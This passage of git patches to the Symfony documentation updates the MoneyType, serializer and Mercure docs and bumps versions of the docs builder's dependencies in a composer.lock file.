+                ->defaultContext([
                     'allow_extra_attributes' => false,
                 ])
             ;

From be54b38d951479d27957388da18e530cfb502209 Mon Sep 17 00:00:00 2001
From: Steven Renaux <steven.renaux@sensiolabs.com>
Date: Mon, 17 Mar 2025 13:53:23 +0100
Subject: [PATCH 6794/7107] Update input option for MoneyType

---
 reference/forms/types/money.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index a02b695abd4..967fe9e4ce4 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -83,6 +83,9 @@ input
 By default, the money value is converted to a ``float`` PHP type. If you need the
 value to be converted into an integer (e.g. because some library needs money
 values stored in cents as integers) set this option to ``integer``.
+You can also set this option to ``string``, it can be useful if the underlying
+data is a string for precision reasons (for example, Doctrine uses strings for
+the decimal type).
 
 .. versionadded:: 7.1
 

From 5f9a259167ccc310c1d0c7934901c961c8601b6b Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 17 Mar 2025 01:27:35 +0100
Subject: [PATCH 6795/7107] [Serializer] Fix `defaultContext` example

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 47ea5b66c60..5c82e6e566a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -344,7 +344,7 @@ instance to disallow extra fields while deserializing:
 
         return static function (FrameworkConfig $framework): void {
             $framework->serializer()
-                ->defaultContext('', [
+                ->defaultContext([
                     'allow_extra_attributes' => false,
                 ])
             ;

From 585fdb4d8b3611d64b42b038cdcb3b46a2973f5c Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Tue, 18 Mar 2025 10:45:09 +0100
Subject: [PATCH 6796/7107] Update mercure.rst

---
 mercure.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 42ad9798d3c..125511f6f2b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -282,6 +282,11 @@ URL in a dedicated HTML element:
     {{ mercure('https://example.com/books/1')|json_encode(constant('JSON_UNESCAPED_SLASHES') b-or constant('JSON_HEX_TAG'))|raw }}
     </script>
 
+    <!-- with Stimulus -->
+    <div {{ stimulus_controller('my-controller', {
+        mercureUrl: mercure('https://example.com/books/1'),
+    }) }}>
+
 Then retrieve it from your JS file:
 
 .. code-block:: javascript
@@ -290,6 +295,9 @@ Then retrieve it from your JS file:
     const eventSource = new EventSource(url);
     // ...
 
+    // with Stimulus
+    this.eventSource = new EventSource(this.mercureUrlValue);
+
 Mercure also allows subscribing to several topics,
 and to use URI Templates or the special value ``*`` (matched by all topics)
 as patterns:
@@ -407,7 +415,7 @@ of the ``Update`` constructor to ``true``::
             $update = new Update(
                 'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
-                true // private
+                private: true
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
@@ -704,6 +712,8 @@ enable it::
     :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure.
     :class: with-browser
 
+The Mercure hub itself provides a debug tool that can be enabled and available on `/.well-known/mercure/ui/`
+
 Async dispatching
 -----------------
 

From 4a324e82ced465a1cebf186d694aa69f5703aded Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 13:46:47 +0100
Subject: [PATCH 6797/7107] Tweaks

---
 mercure.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 125511f6f2b..c2aa068167d 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -415,7 +415,7 @@ of the ``Update`` constructor to ``true``::
             $update = new Update(
                 'https://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
-                private: true
+                true // private
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
@@ -712,7 +712,8 @@ enable it::
     :alt: The Mercure panel of the Symfony Profiler, showing information like time, memory, topics and data of each message sent by Mercure.
     :class: with-browser
 
-The Mercure hub itself provides a debug tool that can be enabled and available on `/.well-known/mercure/ui/`
+The Mercure hub itself provides a debug tool that can be enabled and it's
+available on ``/.well-known/mercure/ui/``
 
 Async dispatching
 -----------------

From 1e8d50b5aac5e54cfd07214e2b3fdab15c205e01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Mar 2025 13:49:23 +0100
Subject: [PATCH 6798/7107] Update the docs builder dependencies

---
 _build/composer.lock | 519 +++++++++++++++++++------------------------
 1 file changed, 231 insertions(+), 288 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index 89a4e7da3c6..a30ed16776b 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,77 +4,33 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "8a771cef10c68c570bff7875e4bdece3",
+    "content-hash": "6524e63395216a3a297f1c78c7f39d86",
     "packages": [
-        {
-            "name": "doctrine/deprecations",
-            "version": "v1.0.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/doctrine/deprecations.git",
-                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/deprecations/zipball/0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
-                "reference": "0e2a4f1f8cdfc7a92ec3b01c9334898c806b30de",
-                "shasum": ""
-            },
-            "require": {
-                "php": "^7.1|^8.0"
-            },
-            "require-dev": {
-                "doctrine/coding-standard": "^9",
-                "phpunit/phpunit": "^7.5|^8.5|^9.5",
-                "psr/log": "^1|^2|^3"
-            },
-            "suggest": {
-                "psr/log": "Allows logging deprecations via PSR-3 logger implementation"
-            },
-            "type": "library",
-            "autoload": {
-                "psr-4": {
-                    "Doctrine\\Deprecations\\": "lib/Doctrine/Deprecations"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "description": "A small layer on top of trigger_error(E_USER_DEPRECATED) or PSR-3 logging with options to disable all deprecations or selectively for packages.",
-            "homepage": "https://www.doctrine-project.org/",
-            "support": {
-                "issues": "https://github.com/doctrine/deprecations/issues",
-                "source": "https://github.com/doctrine/deprecations/tree/v1.0.0"
-            },
-            "time": "2022-05-02T15:47:09+00:00"
-        },
         {
             "name": "doctrine/event-manager",
-            "version": "1.2.0",
+            "version": "2.0.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/event-manager.git",
-                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520"
+                "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/95aa4cb529f1e96576f3fda9f5705ada4056a520",
-                "reference": "95aa4cb529f1e96576f3fda9f5705ada4056a520",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/b680156fa328f1dfd874fd48c7026c41570b9c6e",
+                "reference": "b680156fa328f1dfd874fd48c7026c41570b9c6e",
                 "shasum": ""
             },
             "require": {
-                "doctrine/deprecations": "^0.5.3 || ^1",
-                "php": "^7.1 || ^8.0"
+                "php": "^8.1"
             },
             "conflict": {
                 "doctrine/common": "<2.9"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^9 || ^10",
-                "phpstan/phpstan": "~1.4.10 || ^1.8.8",
-                "phpunit/phpunit": "^7.5 || ^8.5 || ^9.5",
-                "vimeo/psalm": "^4.24"
+                "doctrine/coding-standard": "^12",
+                "phpstan/phpstan": "^1.8.8",
+                "phpunit/phpunit": "^10.5",
+                "vimeo/psalm": "^5.24"
             },
             "type": "library",
             "autoload": {
@@ -123,7 +79,7 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/event-manager/issues",
-                "source": "https://github.com/doctrine/event-manager/tree/1.2.0"
+                "source": "https://github.com/doctrine/event-manager/tree/2.0.1"
             },
             "funding": [
                 {
@@ -139,42 +95,42 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-10-12T20:51:15+00:00"
+            "time": "2024-05-22T20:47:39+00:00"
         },
         {
             "name": "doctrine/rst-parser",
-            "version": "0.5.3",
+            "version": "0.5.6",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13"
+                "reference": "ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/0b1d413d6bb27699ccec1151da6f617554d02c13",
-                "reference": "0b1d413d6bb27699ccec1151da6f617554d02c13",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104",
+                "reference": "ca7f5f31f9ea58fde5aeffe0f7b8eb569e71a104",
                 "shasum": ""
             },
             "require": {
-                "doctrine/event-manager": "^1.0",
+                "doctrine/event-manager": "^1.0 || ^2.0",
                 "php": "^7.2 || ^8.0",
-                "symfony/filesystem": "^4.1 || ^5.0 || ^6.0",
-                "symfony/finder": "^4.1 || ^5.0 || ^6.0",
+                "symfony/filesystem": "^4.1 || ^5.0 || ^6.0 || ^7.0",
+                "symfony/finder": "^4.1 || ^5.0 || ^6.0 || ^7.0",
                 "symfony/polyfill-mbstring": "^1.0",
-                "symfony/string": "^5.3 || ^6.0",
-                "symfony/translation-contracts": "^1.1 || ^2.0",
+                "symfony/string": "^5.3 || ^6.0 || ^7.0",
+                "symfony/translation-contracts": "^1.1 || ^2.0 || ^3.0",
                 "twig/twig": "^2.9 || ^3.3"
             },
             "require-dev": {
-                "doctrine/coding-standard": "^10.0",
+                "doctrine/coding-standard": "^11.0",
                 "gajus/dindent": "^2.0.2",
                 "phpstan/phpstan": "^1.9",
                 "phpstan/phpstan-deprecation-rules": "^1.0",
                 "phpstan/phpstan-phpunit": "^1.2",
                 "phpstan/phpstan-strict-rules": "^1.4",
                 "phpunit/phpunit": "^7.5 || ^8.0 || ^9.0",
-                "symfony/css-selector": "4.4 || ^5.2 || ^6.0",
-                "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0"
+                "symfony/css-selector": "4.4 || ^5.2 || ^6.0 || ^7.0",
+                "symfony/dom-crawler": "4.4 || ^5.2 || ^6.0 || ^7.0"
             },
             "type": "library",
             "autoload": {
@@ -210,32 +166,30 @@
             ],
             "support": {
                 "issues": "https://github.com/doctrine/rst-parser/issues",
-                "source": "https://github.com/doctrine/rst-parser/tree/0.5.3"
+                "source": "https://github.com/doctrine/rst-parser/tree/0.5.6"
             },
-            "time": "2022-12-29T16:24:52+00:00"
+            "time": "2024-01-14T11:02:23+00:00"
         },
         {
             "name": "masterminds/html5",
-            "version": "2.7.6",
+            "version": "2.9.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/Masterminds/html5-php.git",
-                "reference": "897eb517a343a2281f11bc5556d6548db7d93947"
+                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/897eb517a343a2281f11bc5556d6548db7d93947",
-                "reference": "897eb517a343a2281f11bc5556d6548db7d93947",
+                "url": "https://api.github.com/repos/Masterminds/html5-php/zipball/f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
+                "reference": "f5ac2c0b0a2eefca70b2ce32a5809992227e75a6",
                 "shasum": ""
             },
             "require": {
-                "ext-ctype": "*",
                 "ext-dom": "*",
-                "ext-libxml": "*",
                 "php": ">=5.3.0"
             },
             "require-dev": {
-                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7"
+                "phpunit/phpunit": "^4.8.35 || ^5.7.21 || ^6 || ^7 || ^8 || ^9"
             },
             "type": "library",
             "extra": {
@@ -279,9 +233,9 @@
             ],
             "support": {
                 "issues": "https://github.com/Masterminds/html5-php/issues",
-                "source": "https://github.com/Masterminds/html5-php/tree/2.7.6"
+                "source": "https://github.com/Masterminds/html5-php/tree/2.9.0"
             },
-            "time": "2022-08-18T16:18:26+00:00"
+            "time": "2024-03-31T07:05:07+00:00"
         },
         {
             "name": "psr/container",
@@ -338,16 +292,16 @@
         },
         {
             "name": "psr/log",
-            "version": "3.0.0",
+            "version": "3.0.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001"
+                "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/fe5ea303b0887d5caefd3d431c3e61ad47037001",
-                "reference": "fe5ea303b0887d5caefd3d431c3e61ad47037001",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/f16e1d5863e37f8d8c2a01719f5b34baa2b714d3",
+                "reference": "f16e1d5863e37f8d8c2a01719f5b34baa2b714d3",
                 "shasum": ""
             },
             "require": {
@@ -382,9 +336,9 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/3.0.0"
+                "source": "https://github.com/php-fig/log/tree/3.0.2"
             },
-            "time": "2021-07-14T16:46:02+00:00"
+            "time": "2024-09-11T13:17:53+00:00"
         },
         {
             "name": "scrivo/highlight.php",
@@ -520,24 +474,24 @@
         },
         {
             "name": "symfony/console",
-            "version": "v6.2.8",
+            "version": "v6.4.17",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b"
+                "reference": "799445db3f15768ecc382ac5699e6da0520a0a04"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/3582d68a64a86ec25240aaa521ec8bc2342b369b",
-                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b",
+                "url": "https://api.github.com/repos/symfony/console/zipball/799445db3f15768ecc382ac5699e6da0520a0a04",
+                "reference": "799445db3f15768ecc382ac5699e6da0520a0a04",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1",
-                "symfony/deprecation-contracts": "^2.1|^3",
+                "symfony/deprecation-contracts": "^2.5|^3",
                 "symfony/polyfill-mbstring": "~1.0",
-                "symfony/service-contracts": "^1.1|^2|^3",
-                "symfony/string": "^5.4|^6.0"
+                "symfony/service-contracts": "^2.5|^3",
+                "symfony/string": "^5.4|^6.0|^7.0"
             },
             "conflict": {
                 "symfony/dependency-injection": "<5.4",
@@ -551,18 +505,16 @@
             },
             "require-dev": {
                 "psr/log": "^1|^2|^3",
-                "symfony/config": "^5.4|^6.0",
-                "symfony/dependency-injection": "^5.4|^6.0",
-                "symfony/event-dispatcher": "^5.4|^6.0",
-                "symfony/lock": "^5.4|^6.0",
-                "symfony/process": "^5.4|^6.0",
-                "symfony/var-dumper": "^5.4|^6.0"
-            },
-            "suggest": {
-                "psr/log": "For using the console logger",
-                "symfony/event-dispatcher": "",
-                "symfony/lock": "",
-                "symfony/process": ""
+                "symfony/config": "^5.4|^6.0|^7.0",
+                "symfony/dependency-injection": "^5.4|^6.0|^7.0",
+                "symfony/event-dispatcher": "^5.4|^6.0|^7.0",
+                "symfony/http-foundation": "^6.4|^7.0",
+                "symfony/http-kernel": "^6.4|^7.0",
+                "symfony/lock": "^5.4|^6.0|^7.0",
+                "symfony/messenger": "^5.4|^6.0|^7.0",
+                "symfony/process": "^5.4|^6.0|^7.0",
+                "symfony/stopwatch": "^5.4|^6.0|^7.0",
+                "symfony/var-dumper": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -596,7 +548,7 @@
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v6.2.8"
+                "source": "https://github.com/symfony/console/tree/v6.4.17"
             },
             "funding": [
                 {
@@ -612,20 +564,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-29T21:42:15+00:00"
+            "time": "2024-12-07T12:07:30+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.2.7",
+            "version": "v6.4.13",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0"
+                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
-                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/cb23e97813c5837a041b73a6d63a9ddff0778f5e",
+                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e",
                 "shasum": ""
             },
             "require": {
@@ -661,7 +613,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.2.7"
+                "source": "https://github.com/symfony/css-selector/tree/v6.4.13"
             },
             "funding": [
                 {
@@ -677,20 +629,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-14T08:44:56+00:00"
+            "time": "2024-09-25T14:18:03+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v3.2.1",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e"
+                "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
-                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6",
+                "reference": "74c71c939a79f7d5bf3c1ce9f5ea37ba0114c6f6",
                 "shasum": ""
             },
             "require": {
@@ -698,12 +650,12 @@
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "3.3-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
@@ -728,7 +680,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.1"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -744,20 +696,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-01T10:25:55+00:00"
+            "time": "2024-09-25T14:20:29+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.2.8",
+            "version": "v6.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f"
+                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e0d0f709997ad1224ef22bb0a28287c44b7840f",
-                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19073e3e0bb50cbc1cb286077069b3107085206f",
+                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f",
                 "shasum": ""
             },
             "require": {
@@ -767,10 +719,7 @@
                 "symfony/polyfill-mbstring": "~1.0"
             },
             "require-dev": {
-                "symfony/css-selector": "^5.4|^6.0"
-            },
-            "suggest": {
-                "symfony/css-selector": ""
+                "symfony/css-selector": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -798,7 +747,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.8"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.4.19"
             },
             "funding": [
                 {
@@ -814,20 +763,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-09T16:20:02+00:00"
+            "time": "2025-02-14T17:58:34+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.2.7",
+            "version": "v6.4.13",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "82b6c62b959f642d000456f08c6d219d749215b3"
+                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/82b6c62b959f642d000456f08c6d219d749215b3",
-                "reference": "82b6c62b959f642d000456f08c6d219d749215b3",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/4856c9cf585d5a0313d8d35afd681a526f038dd3",
+                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3",
                 "shasum": ""
             },
             "require": {
@@ -835,6 +784,9 @@
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.8"
             },
+            "require-dev": {
+                "symfony/process": "^5.4|^6.4|^7.0"
+            },
             "type": "library",
             "autoload": {
                 "psr-4": {
@@ -861,7 +813,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.2.7"
+                "source": "https://github.com/symfony/filesystem/tree/v6.4.13"
             },
             "funding": [
                 {
@@ -877,27 +829,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-14T08:44:56+00:00"
+            "time": "2024-10-25T15:07:50+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.2.7",
+            "version": "v6.4.17",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb"
+                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/20808dc6631aecafbe67c186af5dcb370be3a0eb",
-                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
+                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1"
             },
             "require-dev": {
-                "symfony/filesystem": "^6.0"
+                "symfony/filesystem": "^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -925,7 +877,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.2.7"
+                "source": "https://github.com/symfony/finder/tree/v6.4.17"
             },
             "funding": [
                 {
@@ -941,28 +893,32 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-02-16T09:57:23+00:00"
+            "time": "2024-12-29T13:51:37+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.2.8",
+            "version": "v6.4.19",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477"
+                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/66391ba3a8862c560e1d9134c96d9bd2a619b477",
-                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/3294a433fc9d12ae58128174896b5b1822c28dad",
+                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1",
                 "psr/log": "^1|^2|^3",
-                "symfony/deprecation-contracts": "^2.1|^3",
-                "symfony/http-client-contracts": "^3",
-                "symfony/service-contracts": "^1.0|^2|^3"
+                "symfony/deprecation-contracts": "^2.5|^3",
+                "symfony/http-client-contracts": "~3.4.4|^3.5.2",
+                "symfony/service-contracts": "^2.5|^3"
+            },
+            "conflict": {
+                "php-http/discovery": "<1.15",
+                "symfony/http-foundation": "<6.3"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
@@ -975,14 +931,15 @@
                 "amphp/http-client": "^4.2.1",
                 "amphp/http-tunnel": "^1.0",
                 "amphp/socket": "^1.1",
-                "guzzlehttp/promises": "^1.4",
+                "guzzlehttp/promises": "^1.4|^2.0",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^5.4|^6.0",
-                "symfony/http-kernel": "^5.4|^6.0",
-                "symfony/process": "^5.4|^6.0",
-                "symfony/stopwatch": "^5.4|^6.0"
+                "symfony/dependency-injection": "^5.4|^6.0|^7.0",
+                "symfony/http-kernel": "^5.4|^6.0|^7.0",
+                "symfony/messenger": "^5.4|^6.0|^7.0",
+                "symfony/process": "^5.4|^6.0|^7.0",
+                "symfony/stopwatch": "^5.4|^6.0|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -1013,7 +970,7 @@
                 "http"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.2.8"
+                "source": "https://github.com/symfony/http-client/tree/v6.4.19"
             },
             "funding": [
                 {
@@ -1029,36 +986,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-31T09:14:44+00:00"
+            "time": "2025-02-13T09:55:13+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v3.2.1",
+            "version": "v3.5.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b"
+                "reference": "ee8d807ab20fcb51267fdace50fbe3494c31e645"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
-                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/ee8d807ab20fcb51267fdace50fbe3494c31e645",
+                "reference": "ee8d807ab20fcb51267fdace50fbe3494c31e645",
                 "shasum": ""
             },
             "require": {
                 "php": ">=8.1"
             },
-            "suggest": {
-                "symfony/http-client-implementation": ""
-            },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "3.3-dev"
-                },
                 "thanks": {
-                    "name": "symfony/contracts",
-                    "url": "https://github.com/symfony/contracts"
+                    "url": "https://github.com/symfony/contracts",
+                    "name": "symfony/contracts"
+                },
+                "branch-alias": {
+                    "dev-main": "3.5-dev"
                 }
             },
             "autoload": {
@@ -1094,7 +1048,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.1"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.5.2"
             },
             "funding": [
                 {
@@ -1110,24 +1064,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2023-03-01T10:32:47+00:00"
+            "time": "2024-12-07T08:49:48+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a"
+                "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/5bbc823adecdae860bb64756d639ecfec17b050a",
-                "reference": "5bbc823adecdae860bb64756d639ecfec17b050a",
+                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/a3cc8b044a6ea513310cbd48ef7333b384945638",
+                "reference": "a3cc8b044a6ea513310cbd48ef7333b384945638",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.1"
+                "php": ">=7.2"
             },
             "provide": {
                 "ext-ctype": "*"
@@ -1137,12 +1091,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-alias": {
-                    "dev-main": "1.27-dev"
-                },
                 "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
+                    "url": "https://github.com/symfony/polyfill",
+                    "name": "symfony/polyfill"
                 }
             },
             "autoload": {
@@ -1176,7 +1127,7 @@
                 "portable"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.27.0"
+                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.31.0"
             },
             "funding": [
                 {
@@ -1192,36 +1143,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-03T14:55:06+00:00"
+            "time": "2024-09-09T11:45:10+00:00"
         },
         {
             "name": "symfony/polyfill-intl-grapheme",
-            "version": "v1.27.0",
+            "version": "v1.31.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "511a08c03c1960e08a883f4cffcacd219b758354"
+                "reference": "b9123926e3b7bc2f98c02ad54f6a4b02b91a8abe"
             },
             "dist": {
